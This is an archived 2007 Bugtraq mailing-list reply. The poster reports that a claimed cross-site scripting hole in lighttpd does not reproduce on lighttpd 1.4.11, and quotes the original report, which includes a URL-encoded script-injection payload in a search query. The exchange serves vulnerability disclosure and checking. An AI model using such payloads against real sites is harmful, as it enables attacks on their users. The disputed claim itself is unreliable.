bugtraq - RE: XSS in lighttpd

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Message-ID: <!~!UENERkVCMDkAAQACAAAAAAAAAAAAAAAAAC4AAAAAAAAA+zJlqA1kIUGAHkPQBeEuCAEA36wSTwELiESusaQvn1kmwAAAAAAUigAAEAAAAHyfMMODB41Op1Q27A3pzO4BAAAAAA==@wsn.be>
Date: Tue, 13 Feb 2007 00:59:53 +0100
From: "Bart Seresia" <bart@....be>
To: <bugtraq@...urityfocus.com>
Subject: RE: XSS in lighttpd

I checked this on gentoo running lighttpd 1.4.11... Nothing abnormal seen.
Just the normal page, or a 404 error.

Regards,

Bart

-----Oorspronkelijk bericht-----
Van: bl4ck@...mail.org [mailto:bl4ck@...mail.org] 
Verzonden: vrijdag 9 februari 2007 22:34
Aan: bugtraq@...urityfocus.com
Onderwerp: XSS in lighttpd

hey guys .. check out this new xss i just found  ;P  

Vulnerable : lighttpd
web : http://www.lighttpd.net

XSS :

http://127.0.0.1/path/search?q=%22%3E%3Cscript%3Ealert%28%27bl4ck%27%29%3C%2
Fscript%3E


Discovered  By BLacK ZeRo 
bL4ck@...mail.org

Best regards ,,